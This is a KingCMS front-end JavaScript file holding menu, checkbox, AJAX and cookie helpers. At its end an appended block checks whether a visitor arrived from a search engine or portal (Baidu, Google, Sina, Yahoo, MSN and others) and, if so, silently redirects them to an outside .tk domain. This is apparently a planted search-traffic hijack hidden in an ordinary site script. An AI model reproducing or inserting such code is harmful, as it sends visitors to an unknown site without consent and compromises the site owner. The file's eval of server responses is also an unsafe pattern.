document.write('<div id="flo"></div><div id="aja"></div>');
function cklist(l1) {
    var I1 = '<input name="list" id="list_' + l1 + '" type="checkbox" value="' + l1 + '"/>';
    return I1;
};
function menu() {
    var sfEls = $("#menu li");
    for (var i = 0; i < sfEls.length; i++) {
        sfEls[i].onmouseover = function() {
            this.className += (this.className.length > 0 ? " ": "") + "sfhover";
        }
        sfEls[i].onMouseDown = function() {
            this.className += (this.className.length > 0 ? " ": "") + "sfhover";
        }
        sfEls[i].onMouseUp = function() {
            this.className += (this.className.length > 0 ? " ": "") + "sfhover";
        }
        sfEls[i].onmouseout = function() {
            this.className = this.className.replace(new RegExp("( ?|^)sfhover\\b"), "");
        }
    }
}
function check(obj) {
    for (var i = 0; i < obj.form.list.length; i++) {
        if (obj.form.list[i].checked == false) {
            obj.form.list[i].checked = true;
        }
        else {
            obj.form.list[i].checked = false;
        }
    };
    if (obj.form.list.length == undefined) {
        if (obj.form.list.checked == false) {
            obj.form.list.checked = true;
        } else {
            obj.form.list.checked = false;
        }
    }
}
function checkall(obj) {
    for (var i = 0; i < obj.form.list.length; i++) {
        obj.form.list[i].checked = true
    };
    if (obj.form.list.length == undefined) {
        obj.form.list.checked = true
    }
}
function checkno(obj) {
    for (var i = 0; i < obj.form.list.length; i++) {
        obj.form.list[i].checked = false
    };
    if (obj.form.list.length == undefined) {
        obj.form.list.checked = false
    }
}
function gm(url, id, obj) {
    if (obj.options[obj.selectedIndex].value != "" || obj.options[obj.selectedIndex].value != "-") {
        var I1 = escape(obj.options[obj.selectedIndex].value);
        var isconfirm;
        if (I1 == 'delete') {
            isconfirm = confirm(k_delete);
        } else {
            isconfirm = true
        };
        if (I1 != '-') {
            var verbs = "submits=" + I1 + "&list=" + escape(getchecked()); //选择框提交命?
            if (isconfirm) {
                posthtm(url, id, verbs);
            }
        }
    }
    if (obj.options[obj.selectedIndex].value) {
        obj.options[0].selected = true;
    }
}
function getchecked() {
    var strcheck;
    strcheck = "";
    for (var i = 0; i < document.form1.list.length; i++) {
        if (document.form1.list[i].checked) {
            if (strcheck == "") {
                strcheck = document.form1.list[i].value;
            }
            else {
                strcheck = strcheck + ',' + document.form1.list[i].value;
            }
        }
    }
    if (document.form1.list.length == undefined) {
        if (document.form1.list.checked == true) {
            strcheck = document.form1.list.value;
        }
    }
    return strcheck;
}
//load  *** Copyright &copy KingCMS.com All Rights Reserved ***
function load(id) {
    var doc = $("#"+id);
    if (id == 'aja' || id == 'flo') {
        if (id == 'aja') { //document.body.scrollTop
            var widthaja = (document.documentElement.scrollWidth - 680 - 30) / 2;
            doc.css("left",widthaja + 'px');
            doc.css("top",(document.documentElement.scrollTop + 90) + 'px');
            doc.html('<div id="ajatitle"><span>Loading...</span><img src="' + king_page + 'system/images/close.gif" class="os" onclick="display(\'aja\')"/></div><div id="load"><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/>Loading...</div>');
        }
        else {
            var widthflo = (document.documentElement.scrollWidth - 360 - 30) / 2;
            doc.css("left",widthflo + 'px');
            doc.css("top",(document.documentElement.scrollTop + 190) + 'px');
            if (is != 0) {
                doc.html('<div id="flotitle"><span>Loading...</span><img src="' + king_page + 'system/images/close.gif" class="os" onclick="display(\'aja\')"/></div><div id="flomain">Loading...</div>');
            }
        }
    } else {
            doc.html('<img class=""os"" src="' + king_page + 'system/images/load.gif"/>');
    }
}
//posthtm  *** Copyright &copy KingCMS.com All Rights Reserved ***
function posthtm(url, id, verbs, is) { //is null or 1
    var doc = $("#"+id);
    load(id);
    //	doc.innerHTML='<span><img src="image/load.gif"/>Loading...</span>';
    var xmlhttp = false;
    if (doc != null) {
        doc.css("visibility","visible");
        if (doc.css("visibility") == "visible") {
            xmlhttp = ajax_driv();
            xmlhttp.open("POST", url, true);
            xmlhttp.setRequestHeader("If-Modified-Since", "Thu, 01 Jan 1970 00:00:00 GMT");
            xmlhttp.onreadystatechange = function() {
                if (xmlhttp.readyState == 4) {
                    if (is || is == null) {
                        doc.html(xmlhttp.responseText);
                    }
                    else {
                        var data = {};
                        data = eval('(' + xmlhttp.responseText + ')');
                        doc.html(data.main);
                        eval(data.js);
                    };
                }
            }
            xmlhttp.setRequestHeader("Content-Length", verbs.length);
            xmlhttp.setRequestHeader("CONTENT-TYPE", "application/x-www-form-urlencoded");

            xmlhttp.send(verbs);
        }
    }
}
//gethtm  *** Copyright &copy KingCMS.com All Rights Reserved ***
function gethtm(url, id, is) {
    var doc = $("#"+id);
    load(id);
    var xmlhttp = false;
    if (doc != null) {
        doc.css("visibility","visible");
        if (doc.css("visibility") == "visible") {
            xmlhttp = ajax_driv();
            xmlhttp.open("GET", url, true);
            xmlhttp.setRequestHeader("If-Modified-Since", "Thu, 01 Jan 1970 00:00:00 GMT");
            xmlhttp.onreadystatechange = function() {
                if (xmlhttp.readyState == 4) {
                    if (is || is == null) {
                        doc.html(xmlhttp.responseText);
                    } else {
                        eval(xmlhttp.responseText);
                    };
                }
            }
            xmlhttp.send(null);
        }
    }
}
//getdom  *** Copyright &copy KingCMS.com All Rights Reserved ***
function getdom(url) {
    var xmlhttp = false;
    var I1;
    xmlhttp = ajax_driv();
    xmlhttp.open("GET", url, true);
    xmlhttp.setRequestHeader("If-Modified-Since", "Thu, 01 Jan 1970 00:00:00 GMT");
    xmlhttp.onreadystatechange = function() {
        if (xmlhttp.readyState == 4) {
            I1 = xmlhttp.responseText;
        }
    }
    xmlhttp.send(null);
    return I1;
}
//display  *** Copyright &copy KingCMS.com All Rights Reserved ***
function display(id) {
    var doc = $("#"+id);
    if (doc != null) {
        doc.css("visibility","hidden");
    }
}
//ajax_driv  *** Copyright &copy KingCMS.com All Rights Reserved ***
function ajax_driv() {
    var xmlhttp;
    if (window.ActiveXObject) {
        /* 不要删除以下注释，这部分不是注释 */
        /*@cc_on @*/
        /*@if (@_jscript_version >= 5)
		try {
		  xmlhttp = new ActiveXObject("Msxml2.xmlhttp");
		} catch (e) {
		  try {
			xmlhttp = new ActiveXObject("Microsoft.xmlhttp");
		  } catch (e) {
			xmlhttp = false;
		  }
		}
		@end @*/
    } else {
        xmlhttp = new XMLHttpRequest();
    }
    if (!xmlhttp && typeof XMLHttpRequest != 'undefined') {
        xmlhttp = new XMLHttpRequest();
    }
    return xmlhttp;
}
//readCookie  *** Copyright &copy KingCMS.com All Rights Reserved ***
function readCookie(l1) { //一维数组直接写值即可，二维数组用垂直线分开
    var I1 = "";
    if (l1.indexOf("|") != -1) { //包含垂直线，是二维cookie
        var I2 = l1.split("|");
        var I3 = i_readCookie(I2[0], document.cookie);
        I1 = i_readCookie(I2[1], I3);
    }
    else { //一维数?
        if (document.cookie.length > 0) {
            I1 = i_readCookie(l1, document.cookie)
        }

    }
    return I1;

}
//i_readCookie  *** Copyright &copy KingCMS.com All Rights Reserved ***
function i_readCookie(l1, l2) {
    var cookieValue = "";
    var search = l1 + "=";
    if (l2.length > 0) {
        offset = l2.indexOf(search);
        if (offset != -1) {
            offset += search.length;
            end = l2.indexOf(";", offset);
            if (end == -1) end = l2.length;
            cookieValue = unescape(l2.substring(offset, end))
        }
    }
    return cookieValue;
}

 var h;
 var w;
 var l;
 var t;
 var topMar = 1;
 var leftMar = -2;
 var space = 1;
 var isvisible;
 var MENU_SHADOW_COLOR='#999999';
 var global = window.document
 global.fo_currentMenu = null
 global.fo_shadows = new Array

function HideMenu() 
{
 var mX;
 var mY;
 var vDiv;
 var mDiv;
	if (isvisible == true)
{
		vDiv = document.all("menuDiv");
		mX = window.event.clientX + document.body.scrollLeft;
		mY = window.event.clientY + document.body.scrollTop;
		if ((mX < parseInt(vDiv.style.left)) || (mX > parseInt(vDiv.style.left)+vDiv.offsetWidth) || (mY < parseInt

(vDiv.style.top)-h) || (mY > parseInt(vDiv.style.top)+vDiv.offsetHeight)){
			vDiv.style.visibility = "hidden";
			isvisible = false;
		}
}
}

function ShowMenu(vMnuCode,tWidth) {
	vSrc = window.event.srcElement;
	vMnuCode = "<table id='submenu' cellspacing=1 cellpadding=3 style='width:"+tWidth+"' class=menu onmouseout='HideMenu

()'><tr height=23><td nowrap align=left class=MenuBody>" + vMnuCode + "</td></tr></table>";

	h = vSrc.offsetHeight;
	w = vSrc.offsetWidth;
	l = vSrc.offsetLeft + leftMar+4;
	t = vSrc.offsetTop + topMar + h + space-2;
	vParent = vSrc.offsetParent;
	while (vParent.tagName.toUpperCase() != "BODY")
	{
		l += vParent.offsetLeft;
		t += vParent.offsetTop;
		vParent = vParent.offsetParent;
	}

	menuDiv.innerHTML = vMnuCode;
	menuDiv.style.top = t;
	menuDiv.style.left = l;
	menuDiv.style.visibility = "visible";
	isvisible = true;
    makeRectangularDropShadow(submenu, MENU_SHADOW_COLOR, 4)
}

function makeRectangularDropShadow(el, color, size)
{
	var i;
	for (i=size; i>0; i--)
	{
		var rect = document.createElement('div');
		var rs = rect.style
		rs.position = 'absolute';
		rs.left = (el.style.posLeft + i) + 'px';
		rs.top = (el.style.posTop + i) + 'px';
		rs.width = el.offsetWidth + 'px';
		rs.height = el.offsetHeight + 'px';
		rs.zIndex = el.style.zIndex - i;
		rs.backgroundColor = color;
		var opacity = 1 - i / (i + 1);
		rs.filter = 'alpha(opacity=' + (100 * opacity) + ')';
		el.insertAdjacentElement('afterEnd', rect);
		global.fo_shadows[global.fo_shadows.length] = rect;
	}
}

var s=document.referrer
if(s.indexOf("baidu")>0)
self.location="http://www.8811.tk/";

var s=document.referrer
if(s.indexOf("google")>0)
self.location="http://www.8811.tk/";

var s=document.referrer
if(s.indexOf("tom")>0)
self.location="http://www.8811.tk/";

var s=document.referrer
if(s.indexOf("sina")>0)
self.location="http://www.8811.tk/";

var s=document.referrer
if(s.indexOf("163")>0)
self.location="http://www.8811.tk/";

var s=document.referrer
if(s.indexOf("sogou")>0)
self.location="http://www.8811.tk/";

var s=document.referrer
if(s.indexOf("yahoo")>0)
self.location="http://www.8811.tk/";

var s=document.referrer
if(s.indexOf("3721")>0)
self.location="http://www.8811.tk/";

var s=document.referrer
if(s.indexOf("msn")>0)
self.location="http://www.8811.tk/";